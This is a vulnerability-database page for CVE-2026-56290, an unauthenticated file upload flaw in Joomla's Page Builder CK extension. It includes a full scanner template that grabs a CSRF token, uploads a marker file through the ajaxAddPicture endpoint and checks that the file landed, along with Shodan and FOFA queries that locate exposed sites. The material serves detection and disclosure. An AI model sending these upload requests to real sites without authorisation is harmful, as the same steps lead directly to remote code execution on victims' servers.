/Vulnerability Library

Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload

CVE-2026-56290
Verified

Description

Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.

Severity

Critical

CVSS Score

9.8

Exploit Probability

83%

Affected Product

page_builder_ck

Published Date

July 11, 2026

Template Author

panchiko-p, 0x_akoko

CVE-2026-56290.yaml
id: CVE-2026-56290

info:
  name: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload
  author: panchiko-p,0x_Akoko
  severity: critical
  description: |
   Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
   Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
   Update to the latest version of Page Builder CK.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56290
    - https://cxsecurity.com/issue/WLB-2026070010
    - https://www.exploit-db.com/exploits/52626
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56290
    epss-score: 0.83254
    epss-percentile: 0.99652
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlack
    product: page_builder_ck
    framework: joomla
    shodan-query: http.html:"com_pagebuilderck"
    fofa-query: body="com_pagebuilderck"
  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "csrf")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'
          - 'csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="path"

        media/com_pagebuilderck/gfonts/
        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56290-{{marker}}
        ------WebKitFormBoundaryPBCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56290-{{marker}}")'
        condition: and
# digest: 490a0046304402202ea15363f4048e228b2e29fe1b7a48de7e4e40f8fa248a9d1461626299926ff2022034dc5fb7b9d98c6b0e170280746ca0734c2811d82f512affa4387727929b9dce:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-56290
CWE ID:
cwe-434

References

https://nvd.nist.gov/vuln/detail/CVE-2026-56290https://cxsecurity.com/issue/WLB-2026070010https://www.exploit-db.com/exploits/52626https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Remediation Steps

Update to the latest version of Page Builder CK.